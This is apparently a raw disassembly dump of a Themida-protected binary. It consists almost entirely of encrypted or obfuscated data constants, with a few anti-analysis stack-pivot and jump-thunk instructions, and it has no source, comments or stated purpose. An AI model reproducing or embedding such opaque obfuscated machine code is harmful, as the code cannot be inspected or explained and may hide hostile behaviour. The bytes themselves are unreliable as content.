dd 0E98398A7h, 0B9A4F305h, 22h, 0C7FD8D8Dh, 6E805F0h, 0B2000000h dd 0DC840794h, 15858BF5h, 5A05EA13h, 0E8C0Fh, 0E9500000h dd 7, 0D1A6C9C9h, 5B1A5711h, 0ADD8D89h, 0F28005EAh, 0AE999h dd 0EAC20000h, 5BDC0282h, 47D953E5h, 0ACD85C7h, 5D4405EAh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8BEF59C3h, 0F585C7F0h, 5EA25h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B83FC355h, 0F375FC30h, 19B5FF6Bh, 0E905EA1Ch dd 11h, 3B30CD79h, 565DB0DDh, 0CEFFCE8Ch, 0AF23B868h, 1995FF0Ah dd 6A05EA2Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0C63AC351h, 0A8FCD598h, 0AFCA81A1h dd 6A5426A6h, 1595FF00h, 8B05EA10h, 631FEBC0h, 0CA804F7Ch dd 82B7F6D4h, 0B19A328Dh, 11271CA8h, 5E3F64EDh, 39C177C3h dd 732B6777h, 4EBBB73h, 4DF3DD0h, 83AE9h, 680F4100h, 0EC91C63Ch dd 6C1142B8h, 0E28FC238h, 6D0E4CB6h, 641E9F39h, 0EB1145F6h dd 1EE4B063h, 976D39DEh, 4DE7B35Eh, 2F976DDFh, 66EA1D47h dd 82F739CFh, 0B4177BD7h, 5666F9CEh, 1DBC3117h, 0EC4C8D43h dd 0EDDC627Dh, 4B412D3Bh, 95F95508h, 82976E36h, 6057E5BBh dd 0FA12BC8Ah, 77DAD260h, 0B52D116Ch, 61936D16h, 127E12BEh dd 9546B4BEh, 25D405CBh, 9970DE86h, 4E33F298h, 0B218B110h dd 0CD098FA2h, 114442E1h, 8FC6CC60h, 0B8E64EE2h, 0FF5C0176h dd 5484FBDh, 0B01CC132h, 50E4B0DCh, 2E24ADA8h, 5DD4h, 0AD937A00h dd 0A2BF14BEh, 0AC00B725h, 0AA0FACC0h, 104EED6Dh, 5AF99EDEh dd 0D182F0FAh, 458BD57Dh, 84C66514h, 6C0F4358h, 3CFC8C38h dd 2B08340Eh, 51000000h, 0E24EED6Dh, 52FF72BCh, 66B48BF1h dd 0C561756h, 0E418FE0h, 2F9DC36Fh, 17566755h, 0FF5C30A8h dd 8EDA79F9h, 25AFh, 0ED6DF600h, 55BCE24Eh, 0F47A19EEh dd 0AA87EB47h, 363C5B94h, 0D7BB17C4h, 0E53C0E74h, 86D81756h dd 62114156h, 1B6E6F36h, 9BD21C42h, 950F5DFEh, 0CD61145Bh dd 577802A1h, 0EA12BC6Ah, 0A7D4DE72h, 0F166A8F6h, 67EAE04Ch dd 660A66CAh, 0F4679DC5h, 95E4ED41h, 0F125DA89h, 0CCA0471Ah dd 0F0E72092h, 0E41A0CD1h, 8F2EA178h, 4F234F23h, 0E497DF11h dd 27872448h, 1C9BC977h, 0AE603EDFh, 7C228E2Bh, 81D0F6CEh dd 0BDD1490Bh, 3FBC461Eh, 6044329Eh, 0E0B81D1h, 589B204Ch dd 6EA8F1A5h, 0CBE54C25h, 49E86D62h, 236A33E0h, 370E0545h dd 46B1h, 0F739E800h, 107CD083h, 846DB6B3h, 11A3392Dh dd 1756671Bh, 0B263906Eh, 9D2F7DDEh, 175666A7h, 0C172E41Ah dd 7CD083CBh, 39D57C10h, 4FEE6D54h, 39DDA0E6h, 88C122D0h dd 6804A849h, 995D7145h, 30E73Ah, 39BE0000h, 74D782F7h dd 0A36D3271h, 4E228E31h, 56674438h, 432FB717h, 0B18B39EAh dd 31175666h, 7BD782F7h, 305C0371h, 5439F55Ch, 0E64FEE6Dh dd 0E86DDDA0h, 9BD91749h, 872448E4h, 43B77927h, 0C9493390h dd 1752E8h, 1E80F31Ah, 0BC08DA0Bh, 682F5D1Fh, 978075E5h dd 0C85A260Bh, 0D260FAA4h, 1751E6DAh, 4E16B52Dh, 0CB9546B4h dd 0E709E351h, 0E47C1751h, 6DEDE747h, 84CA62CEh, 6C0F4358h dd 1A589638h, 0E692DA79h, 163409B8h, 4Bh, 11A3394Fh, 1756671Bh dd 5355F66Eh, 8DD37F1Ah, 0CB280C43h, 223B26D4h, 6F03AFC3h dd 0E5C0C9CCh, 69DE09BBh, 49D112BCh, 6AF0EAE5h, 6C56E4D8h dd 6CCF5711h, 44ADBE2Eh, 7E6AB9C7h, 0E3A7D7ECh, 24F67A57h dd 32BBBD1Eh, 6D8AD387h, 0ECE549E8h, 509EC09Dh, 0BDD17D1Eh dd 3DFE4C1Eh, 3012BC6Bh, 0BC38F6A8h, 0B9E0B81Bh, 0E54C256Eh dd 417C95CBh, 0FED9C8D3h, 6D379231h, 33E049E8h, 545236Ah dd 20BA370Eh, 56669A92h, 7E76C414h, 0F1145666h, 25861E69h dd 237Ch, 256E2500h, 8B39E54Ch, 175666B1h, 0CF6AE32Dh dd 0D7AC0F63h, 5439E64Fh, 0E64FEE6Dh, 2DB6DDA0h, 0EF000000h dd 124C256Eh, 53FFA0DCh, 39399C3Fh, 5666B18Bh, 6AE32D17h dd 1A7625A9h, 66FEF644h, 0E9711756h, 0DA4044Ah, 0EE6D5439h dd 0DDA0E64Fh, 0E549E86Dh, 570675BBh, 4E3497FBh, 1752E8CCh dd 0A4D71903h, 0D2F7DCF1h, 0D8A055Ah, 6F80ECAEh, 208C33A1h dd 64E9EF4Ch, 0D71BE1B5h, 50828824h, 0E9A70FA3h, 1DBE3C7Bh dd 0AA29E749h, 68CBA70Bh, 9FC5820h, 35A434h, 6DFD0000h dd 0BBE549E8h, 66999321h, 74EC1756h, 0CCC7D2D7h, 5666867Eh dd 0D61F917h, 817BC953h, 0F4175666h, 2F9DCF6Ch, 12BC44DCh dd 0D4DB77EFh, 64E9AEDEh, 6DB8E1B5h, 0D91749E8h, 4248E49Bh dd 0AFC36F0Ch, 0C9C060C3h, 21BBE5C0h, 63896BEFh, 9E1F4E3Dh dd 533F93FFh, 38318AF0h, 1C8412BDh, 50FE648h, 8C14946Fh dd 6EE247E4h, 0CBE54C25h, 49E86D62h, 6A8CFE17h, 37A35B0Dh dd 6A333194h, 0D285F739h, 0F9B1127Eh, 370E04FFh, 3E0Fh dd 0E76FA100h, 57F49834h, 7FF739F2h, 9C2E70DCh, 175666A8h dd 0E5EF831Bh, 66AC675h, 8E63A0A5h, 0B18B3927h, 4175666h dd 0F739359Ch, 137FD37Eh, 6D8FE2B0h, 0A0E64FEEh, 2DB6DDh dd 6EEF0000h, 39E54C25h, 5666B18Bh, 0A4C42D17h, 640A7550h dd 0FD5D13B0h, 4AA33954h, 82C12A68h, 0ED6268FFh, 2B88E448h dd 4FEE6D8Eh, 6DDDA0E6h, 0F3C97BE8h, 46175666h, 681EB2DEh dd 1752E8EAh, 7679EBE1h, 0C49A3BB8h, 51E67E76h, 0CA69F117h dd 0BCE889CCh, 0CE620F46h, 0B5EBB2C7h, 0B7EA2C07h, 53079F12h dd 7FF7390Ah, 0BF1C70DCh, 399079BAh, 0D184F739h, 12B2117Dh dd 0F6D039BBh, 9E735302h, 0B73E389Bh, 9D33B31Ah, 0DA791C53h dd 545237Fh, 21B1370Eh, 0E8000000h, 0A32A256Eh, 5A365AF6h dd 0B18B39F3h, 4175666h, 5439359Ch, 0E64FEE6Dh, 3BB6DDA0h dd 0EF000000h, 0DC7FF739h, 0BABF1C70h, 0D683F679h, 0D37A167Ah dd 0E86DA339h, 2A89E549h, 56675C50h, 933A9A17h, 0EE6D5439h dd 0A339E64Fh, 56671B11h, 76C46E17h, 1756677Eh, 0A60569F1h dd 0F739106Dh, 9B38BA7Fh, 94375B37h, 0E0BE5B92h, 66F4C87Ah dd 0DF471756h, 28AADC7Ch, 0AA1752E8h, 0D3D9752Ah, 7054F89Bh dd 909FBE2Eh, 6213448Ah, 0BD77E3CEh, 242FD4DEh, 3BA9EB48h dd 7C5BB228h, 4982D72Fh, 0E72A0274h, 59D1751h, 0A4834D28h dd 0AA91601h, 0A81AC90Ch, 1751B1D4h, 0D7A175Ah, 70DC7FF3h dd 7A5D701Ch, 15FAD162h, 0C2386C00h, 4B42EE8Bh, 21D0013Eh dd 62EBE18Dh, 3785DBB7h, 12B7B9E0h, 86DF8B13h, 0C759D039h dd 22EC86E0h, 0AA7F8481h, 0FD03903h, 0E9F84AD0h, 0BA13B310h dd 0D37EF739h, 52FF7670h, 0AD91C20Ch, 0F1C14DEAh, 0D975190Fh dd 39B316B5h, 7FD37EF7h, 0B1E8B013h, 0D782F739h, 53C3C74h dd 2348370Eh, 11000000h, 0E54C256Eh, 66B18B39h, 9C041756h dd 6D543935h, 0A0E64FEEh, 7FF739DDh, 0BF1C70DCh, 4C62h dd 0F7393B00h, 127ED285h, 0FC6FB4B1h, 3183DD7Eh, 1756673Bh dd 0D37A168Eh, 66B18B39h, 0F7311756h, 21A09385h, 0C09E2E2Bh dd 3969C0ACh, 0EEE6D54h, 0DB697640h, 7AFDF7F2h, 771B77DBh dd 0C32AA0DEh, 0C1321B82h, 0F1DCB01Ch, 0C1623E58h, 7EF73964h dd 0FF7670D3h, 0A2F7FE52h, 24B85DBh, 14A6F457h, 12BC6DAFh dd 0ED045AC2h, 5B4A2AE7h, 4810B32Eh, 77FB68B1h, 680468C4h dd 0F062AC36h, 0C93F3543h, 86CF116Bh, 84369CEBh, 116BC8B0h dd 0A9F79B03h, 6BC9211Bh, 0AF0C9411h, 26A967FDh, 0FBAED477h dd 0A0CBC10h, 11A12A0h, 0F56D0B7Bh, 41E508D8h, 29450CBDh dd 0A132DB85h, 9A5E28F9h, 26AFA90Ah, 0B025DF8Bh, 5E915F01h dd 0DC7F13BFh, 49930A7Ch, 505A0A9Eh, 815E9724h, 4B373933h dd 1E148C0Ah, 7533FDCh, 72F367A9h, 4B36ECC0h, 0ABC75F0Ah dd 0CEC86B07h, 4C46EA87h, 5E905E0Dh, 0B7D11BDh, 0A4B3731h dd 0DC701C84h, 0F5C2328Ch, 7F85D180h, 26F75BF6h, 3, 6DA5087Fh dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh dd 208A457h, 848E22CFh, 0AA657h, 0E9822ECFh, 32A568h, 240C8900h dd 0C181E189h, 4, 8704E983h, 685C240Ch, 37F2h, 56243C89h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 86BF241Ch, 814BF209h dd 0C740C6EFh, 0C1DFF734h, 0CF8107E7h, 1CC532C6h, 0EA9ABB53h dd 0DF2978EEh, 4EC835Bh, 83242489h, 5B042404h, 24348157h dd 30504068h, 5208438Fh, 8BAh, 81DA0100h, 50406832h, 34FF5A30h dd 0C4815B24h, 4, 5F2434FFh, 4C481h, 1BE90000h, 0FDFFF9AEh dd 0CE722809h, 0B8BA5CC5h, 5F0CFCFh, 0E0FFC503h, 45623987h dd 7ED91FFh, 1D955781h, 60305549h, 6C23691Dh, 4526ACDCh dd 14C8115Ch, 47D0EE23h, 6CF133h, 5C1100F2h, 76094986h dd 5DA27378h, 7BD167C6h, 38BDA56Eh, 1AD2AD6Eh, 2164C506h dd 6A435BEh, 68D4DC6Fh, 97A004EBh, 88E917A5h, 0AF000005h dd 0D8227629h, 48B2E697h, 0C43E6A0Bh, 4AB0E495h, 993F6B08h dd 4BE86A18h, 0C271E51Fh, 4FF06C96h, 0CD6CE11Bh, 13A13399h dd 1D473719h, 6D49E06Ch, 0F5A82FE8h, 0F16B3599h, 6F19BC3Fh dd 17566795h, 0D5D370E8h, 66A8F6A5h, 0B9E142EFh, 0C36F0A43h dd 7D20539Dh, 0E495D8DEh, 680D4248h, 4BD1CBC4h, 566703F9h dd 9632C17h, 0EBD0034Eh, 0C80E049Ch, 9ACA882Bh, 8B61D349h dd 0FE1756EDh, 8AC3C566h, 1341BBEFh, 0C96386Ch, 56ECC6BEh dd 2A13917h, 8B27D804h, 2AE4D81h, 3B80EC52h, 0FC5206B9h dd 0B21EBB32h, 0F27B7DDEh, 2FB5EB47h, 56ECA79Dh, 21821A17h dd 56ED645Bh, 0A4D09217h, 0EBFAF59h, 7ADF34h, 6D860000h dd 93E549E8h, 1756669Fh, 727BE9ABh, 340E3886h, 0BF6h, 70C25800h dd 17565A7Ch, 51F457CFh, 154BEA6Dh, 0F23F64FCh, 2F2DF7Ch dd 0C969CA61h, 0CC267E97h, 37A2A997h, 0D2711DC0h, 5EF2A3D4h dd 0F526E900h, 268A27AAh, 3C3E674Ah, 0EC6D6BC8h, 0E4EEE14Dh dd 6FAC2378h, 8BE74BE6h, 0F41DB3E7h, 0F9FE5A13h, 0B4B21120h dd 0CE9041h, 0ED812DCEh, 76B8164Eh, 55F05300h, 104EED6Dh dd 5CFF9CDEh, 0BA81F6FCh, 9EAB8633h, 9A8A71FFh, 58F05C30h dd 0A1D1E616h, 195CA6F2h, 9DDED478h, 0E568A6F8h, 57F49834h dd 97C58BF7h, 0F10AA4Eh, 9EDA34h, 39830000h, 0A91B20D0h dd 3A2A00BFh, 0EFFD2C3h, 2496C8D2h, 1756EE50h, 9E983BA3h dd 0E695D95Ch, 0AB2C264Ah, 0A6CAA60Ah, 22D3000Ah, 19B818Eh dd 0A2D487CFh, 1756EDCAh, 0E88BC33Dh, 0F7652784h, 0D58132A0h dd 4C37927Bh, 3FD9B19Eh, 5A771BB6h, 5B8EB747h, 96903334h dd 111BB764h, 0E19D31E0h, 38303DAFh, 4F340EA5h, 0A9A35281h dd 0B5D97524h, 484F16h, 6D160000h, 0BCE24EEDh, 66A09426h dd 0E86E1756h, 7A43C4Bh, 802CD301h, 6AA478Ah, 8428C90Ch dd 0DBFA6AD4h, 6433A1FFh, 481145F6h, 0E74BEA6Dh, 56669E91h dd 0E6165417h, 51044B85h, 7A3291FDh, 340E398Eh, 1FEh, 0EE6DA700h dd 64E9E34Fh, 0F74919B5h, 10C53685h, 916CBD44h, 447A7DCFh dd 55CD12BCh, 0DF7AF3F9h, 690C4F81h, 0E56892CAh, 1CEE9834h dd 38116C42h, 22849F76h, 43E97837h, 3B30EA69h, 8ABC7CFh dd 53C91A4Ah, 0CCBA599Dh, 116B67F8h, 0B01CC136h, 9033ABDCh dd 0ECB25F96h, 6B8E4005h, 0D370B65Eh, 5DFC718Bh, 0C772FBF1h dd 5F8DC36Bh, 3A641558h, 5AE6F3D3h, 60C3184Bh, 88FC8C38h dd 4B082E23h, 51000001h, 1C421B6Eh, 0BC7439AEh, 0F854CC12h dd 0D0254FA6h, 6D3F3587h, 2AB2116Bh, 0E8FB1E07h, 69084D4Bh dd 9878F937h, 0ABD4F2FDh, 973B5726h, 0FA0058FBh, 606AC673h dd 48E04CEDh, 8CC1D606h, 7FF6438Bh, 7E127ED2h, 6F24612h dd 762E2398h, 5Ah, 4E276E2Fh, 44388A10h, 0B7175667h, 6CDE8C2Fh dd 175667C8h, 0D18F23BBh, 9A39DC1Fh, 56670CE0h, 2ECB0217h dd 0F3468882h, 1FB3DF7Ah, 9F33E215h, 5B89D7F3h, 0A2D2903Ah dd 78260F16h, 566722CAh, 82F23C17h, 0BE1D71DDh, 0EA035DC5h dd 0F8CBC862h, 0E9B1126Ah, 0A1C8h, 1B6E9100h, 5DAE1C42h dd 9012BC45h, 0CA78E76Eh, 116C42F2h, 0DDB1DD45h, 47F27B71h dd 0B564E913h, 435E6F19h, 0E0BE116Ch, 3DBD7374h, 545E329Eh dd 0B4D87425h, 3DDC1117h, 0BC899069h, 50E278E2h, 116C425Ch dd 0EE9437AFh, 0CBC91A1h, 0FB124CD4h, 9A89B806h, 73D37027h dd 0AC23F479h, 0A5C9A509h, 2ED10309h, 0E84A8882h, 0CDA673CBh dd 9D315D7Dh, 0D4097B35h, 78E42A84h, 0A4076BC7h, 0D72276E6h dd 579E500Eh, 0D97A16BAh, 62CE398Bh, 21C806CCh, 0F7E5121Eh dd 0BC361BBDh, 1EBF0D1Eh, 138BF053h, 0F7391E47h, 107CD083h dd 9A63B6B3h, 0AC45EC4h, 0D0BC10C5h, 5666CEA6h, 1AB92117h dd 0A6B71760h, 0A2D42A12h, 6F315DF1h, 6596E7DDh, 0AEC25A11h dd 14C50802h, 8A62D04Ah, 0FD116597h, 649EC665h, 9AEC40F1h dd 0FF125803h, 794C0CAh, 8D7723CEh, 0CAE848h, 0AF260A7h dd 44987527h, 0C7AB3C47h, 41F0616Bh, 3D37851Fh, 0B0FF0F9Bh dd 212B8B28h, 0A9A30FAEh, 73DB7726h, 85C8CF3Dh, 46E8B8D4h dd 9B966EDCh, 71E9FF0Fh, 576490D2h, 30E7151Eh, 4FA6085Ch dd 0BDF53B22h, 0E8EE4DF8h, 24EAB465h, 5A506B7h, 0B665955Bh dd 3C815h, 8910000h, 34EB6DA5h, 0BE5B9298h, 3BDC1812h dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh dd 2ECF000Ah, 8952E982h, 0FDBB53E2h, 81460637h, 0A73694CBh dd 0F9EB8148h, 14EA737h, 0EA835BDAh, 24148704h, 0E689565Ch dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h, 4BEh, 50242C89h dd 0AD2F3868h, 0B40D584Ch, 2519B611h, 3FD752E6h, 724CB05h dd 0E8BF5715h, 816BDC3Dh, 63687CF7h, 0F6EF8134h, 4F60FB4Ah dd 0DD10C781h, 0F83138AAh, 58C6895Fh, 4EC81h, 24890000h dd 24048124h, 4, 4B11685Dh, 34890000h, 8458F24h, 5D2434FFh dd 8B04C483h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dw 0B8CDh dd 5F0D599h, 0E0FFC503h, 67014C2Fh, 1610F89Eh, 1C84792Ah dd 44A1D7A0h, 4009534Ah, 5037F126h, 3A8005EEh, 2564FFBCh dd 43625DB0h, 2DB60B42h, 1BE0A619h, 0AD209EDh, 88E3CDCh dd 13B4C18Ch, 7027B1ECh, 17E69Bh, 86398B2h, 62B67976h dd 2CD71CC7h, 2ADEF3DDh, 3C73D464h, 54D9CA2Fh, 7B2DB2D4h dd 3320F0C5h, 0C77523Ah, 0EA80Fh, 4779C0C6h, 1BF610DBh dd 6DAD6E84h, 0FE8h, 66CD7F00h, 468421F6h, 0F0404683h dd 48013E21h, 59FB8B66h, 6B8BC181h, 0AEB20000h, 1AA8B8h dd 38E0F00h, 66000000h, 318BDF8Bh, 5E9h, 204F1C00h, 0F6819477h dd 87AEA8Fh, 12810Fh, 0DE90000h, 0A4000000h, 8DF01C83h dd 0CCD5E8A8h, 0B93C863Eh, 77F1C681h, 0AE9749Ah, 73000000h dd 53D02735h, 9FCBB91Ah, 6CC68198h, 0E81DAE00h, 13h, 6158F394h dd 8A38FBFFh, 0C4736E45h, 823B5FD3h, 0F9BDEE9h, 48Eh, 0D2BA6600h dd 51565AACh, 860Fh, 8F5A0000h, 8E0F01h, 83000000h, 814903E9h dd 1E8h, 13850F00h, 0B7000000h, 36E957h, 0D48B0000h, 0FBDA57D1h dd 0C11501B5h, 11E9D8AFh, 15000000h, 6BEF5BFEh, 0BE9585A0h dd 0F89187Ch, 3273BC9Fh, 0FFFF49E9h, 7ACBBEFFh, 30E5E6ACh dd 2F725B03h, 0DB2776D2h, 0D8558D8Dh, 5E905F0h, 0C0000000h dd 250CB52Ch, 0ADD8D89h, 85C705EAh, 5EA0ACDh, 5804h, 0C7FB8B66h dd 0EA25F585h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 958B4915h, 5EA14D9h, 7E9h dd 2C64BC00h, 843AB859h, 3151B5FFh, 6A05EAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0C59896C3h dd 0A3B11726h, 8166FCA4h, 0FFD23EC3h, 0EA2A1995h, 6AF18B05h dd 1595FF00h, 8B05EA10h, 7C5AEBC0h, 0A828AFD1h, 0C1F14A7Dh dd 0EEBEF7F3h, 1ECB3244h, 7F678B18h, 75043090h, 1FE1D66Bh dd 0B9595F01h, 204D80C8h, 96B57EC5h, 0A82E8053h, 9249ACF3h dd 0C4E2FB79h, 0E004FD60h, 0C53ADBCCh, 90B95100h, 0B2F4022Ah dd 3758B9C9h, 217F3ED7h, 0B069FEB3h, 54C25789h, 0A2A439FCh dd 0AE8A0h, 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 70D9509h dd 895F05EAh, 0EA2CC19Dh, 45C78105h, 0F500005Ah, 68h, 0D6B70F00h dd 798D015Eh, 8B05EA1Ah, 9D8B3704h, 5EA0AC9h, 578CE881h dd 9D23551Ah, 5EA2F51h, 0B3EEF081h, 81663224h, 811628F3h dd 18490AE8h, 0A8C0F2Bh, 0F000000h, 48Ch, 0FBB96600h, 37048992h dd 7E9h, 9504D000h, 0DD0A9967h, 28CE01B9h, 3EE832Ch, 7418D8Bh dd 0B54E05EAh, 48FE81DCh, 0FFFFFA6h, 0FFFF9E85h, 8D78B7FFh dd 0F0D9BA8Dh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8D0FC4CDh, 6, 1B61BD89h dd 8D8905EAh, 5EA0ADDh, 33FFE881h, 85C71AF6h, 5EA0ACDh dd 5B74h, 0F585C7F8h, 5EA25h, 8A000000h, 19B5FFF4h, 8905EA1Ch dd 0EA1C4D85h, 1995FF05h, 0BF05EA2Ah, 1AB9B444h, 95FF006Ah dd 5EA1015h, 1FEBC08Bh, 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh dd 7DF1AEBAh, 0BE0BE099h, 3972F59Ah, 0FED82102h, 8D708C20h dd 0F0DA778Dh, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 26C37F10h, 2308FC35h dd 8BDBB70Fh, 0EA1661BDh, 0DD8D8905h, 0F05EA0Ah, 85C7F6BFh dd 5EA0ACDh, 709Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0FC35747h, 458D01F1h, 0C705EA11h, 0EA25F585h dd 5, 810F5600h, 6, 19D9B529h, 0FF5A05EAh, 0EA0071B5h dd 1995FF05h, 8905EA2Ah, 0EA15E995h, 0FF006A05h, 0EA101595h dd 0EBC08B05h, 0E190360Bh, 0AA3B0711h, 0A00CBAEAh, 8E8h dd 0C789C000h, 0DDCE1A36h, 5858B65h, 5E05EA2Bh, 0DF9DBF66h dd 589BC681h, 800F0000h, 3, 2BF8B70Fh, 0C1BF0FDBh, 663334FFh dd 159F88Bh, 0EA1EF98Dh, 0F4E98105h, 292D23BCh, 0EA0D9195h dd 0FF18105h, 0E9711C9Ah, 0Ah, 6122946Fh, 0D040E661h, 0C1812B12h dd 6B9A5650h, 0C89C38Bh, 13E91Eh db 2 dup(0), 3 byte_5AE55B db 69h ; DATA XREF: Themida_:0054BF0Co dd 0CAE63B43h, 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 25BBBA7Ah dd 0EB834EF3h, 4B4B4B01h, 0F4FB81F5h, 0FFFFFA7h, 0FFFF9785h dd 33C480FFh, 0DC268D8Dh, 6A05F0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0FCE46AC3h, 8B5BDE29h dd 0EA254595h, 0DD8D8905h, 0F805EA0Ah, 0ACD85C7h, 5C2405EAh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B6CA6C3h, 0DCD24DCAh, 0DF81AB8Bh, 3892890Ah dd 25F585C7h, 5EAh, 0E8510000h, 7, 0D5BB694Bh, 0E9700EBDh dd 0Bh, 57D8C07Ch, 758D970Bh, 5F17367Ah, 0B70F525Ah, 0B5FF58D0h dd 5EA1C19h, 12E8h, 0D5B30600h, 0A3F1BC65h, 87D56564h dd 2CF88AEDh, 0F23AC8Dh, 0FF5EC0BFh, 0EA2A1995h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 8A16F884h, 1D4676F3h, 8589C223h, 5EA116Dh, 0C890Fh dd 8E0F0000h, 6, 0C01B58Bh, 8D8905EAh, 5EA1A6Dh, 95FF006Ah dd 5EA1015h, 1FEBC08Bh, 0B7A34AB7h, 9A06C209h, 993FD52Dh dd 0C8C7CB2h, 76B3B9F2h, 0E281F606h, 81FC7C02h, 0C6AE0CA8h dd 0EA1A4585h, 0DF685605h, 0FFA9C530h, 0EA238DB5h, 0A0858D05h dd 0FF05EDAFh, 998D8DD0h, 5105EA32h, 0B5FF406Ah, 5EA0C05h dd 132DB5FFh, 0D0FF05EAh, 0C05B5FFh, 0B5FF05EAh, 5EA132Dh dd 12E8h, 6F976D00h, 9556F446h, 6A37F501h, 7CCC7356h, 5B595286h dd 4EB835Bh, 2242CC1h, 22424C1h, 0F7241C03h, 0BA241Ch dd 8B000000h, 0C781133Ch, 244B4EF0h, 0D7DEEF81h, 0F78178CCh dd 74B14F5Ch, 13048F57h, 4A03EA83h, 0F24143Bh, 0E85h, 18E900h dd 130D0000h, 0DDC13388h, 0E90C868Eh, 0FFFFFFC7h, 0A781357Dh dd 4C1DF96Dh, 9D8D2234h, 5EA17DDh, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 0E9C98B18h, 15Fh, 60D48B52h, 0E8h dd 0ED815D00h, 5F0DD20h, 3D08428Bh, 78263845h, 138850Fh dd 428B0000h, 184A8B0Ch, 19BBC8D3h, 3397CD11h, 4E883C3h dd 0ADD8589h, 588B05EAh, 8BF88B04h, 4A8B1042h, 0BEC8D318h dd 0FBDB6045h, 0C72BC633h, 83FCE083h, 858904E8h, 5EA0ACDh dd 8914428Bh, 0EA25F585h, 18428B05h, 0B0E953h, 0B5FF0000h dd 5EA2CBDh, 0B9E9h, 71B5FF00h, 0E905EA00h, 0AEh, 0C29B5FFh dd 0A3E905EAh, 0FF000000h, 0EA1189B5h, 98E905h, 0B5FF0000h dd 5EA2581h, 8DE9h, 0C9B5FF00h, 0E905EA1Bh, 82h, 1551B5FFh dd 77E905EAh, 0FF000000h, 0EA0BFDB5h, 6CE905h, 0B5FF0000h dd 5EA0BF5h, 61E9h, 0ADB5FF00h, 0E905EA2Eh, 56h, 0E95B5FFh dd 4BE905EAh, 0FF000000h, 0EA0C71B5h, 40E905h, 0B5FF0000h dd 5EA003Dh, 35E9h, 19B5FF00h, 0E905EA1Ch, 2Ah, 0D95B5FFh dd 1FE905EAh, 0FF000000h, 0EA3151B5h, 14E905h, 0D88B0000h dd 0BB8h, 0E3F76600h, 0DD818D8Dh, 0C80305F0h, 95FFE1FFh dd 5EA2A19h, 0DD858B5Bh, 3905EA0Ah, 850F0458h, 0Fh, 0FF016A53h dd 0EA101595h, 0E2E95B05h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h dd 8BE0FF77h, 0EA0C6985h, 6F8D8D05h, 8905F0DEh, 0C38B0141h dd 0DF1F8D8Dh, 0DB8105F0h, 139A9BDAh, 0ADD8D89h, 816605EAh dd 0C7DE6FC0h, 0EA0ACD85h, 6E9405h, 4D858B00h, 0F05EA2Ah dd 85C7F0BFh, 5EA25F5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8AC35545h dd 0CEE74DD1h, 5F3D36E0h, 0FFFE8B66h, 0EA0C71B5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 5B7821A2h, 0BF0F8CD1h, 1995FFF8h, 2B05EA2Ah, 0EA1571BDh dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 1CE2635Eh, 0D6A31B61h dd 7AF03309h, 336C8E63h, 21E24685h, 4EC4C038h, 6B965D70h dd 93E10279h, 260626F2h, 54223952h, 8BCD429Ch, 75AB5BFAh dd 0A30FDD48h, 637402AAh, 71404DA0h, 0CDD1F8Dh, 0EB84744Dh dd 17758875h, 0A0882A36h, 0EBAA02F8h, 0E6CDFFE3h, 4E102624h dd 8D669244h, 0E99A4ECEh, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 183323Dh, 0E9726056h dd 13E0h, 0F0E23168h, 9E38E905h, 5668FFF9h, 0E905F0E3h dd 0FFF99E2Eh, 0F0E48A68h, 9E24E905h, 0E568FFF9h, 0E905F0E5h dd 0FFF99E1Ah, 0F0E67A68h, 9E10E905h, 2968FFF9h, 0E905F0E7h dd 0FFF99E06h, 0F0E7D168h, 9DFCE905h, 8268FFF9h, 0E905F0E8h dd 0FFF99DF2h, 0F0E93268h, 9DE8E905h, 0A568FFF9h, 0E905F0EAh dd 0FFF99DDEh, 0F0EBE168h, 9DD4E905h, 0A368FFF9h, 0E905F0EDh dd 0FFF99DCAh, 0F0EEE368h, 9DC0E905h, 9C68FFF9h, 0E905F0F0h dd 0FFF99DB6h, 0F0F1C568h, 9DACE905h, 30A0FFF9h, 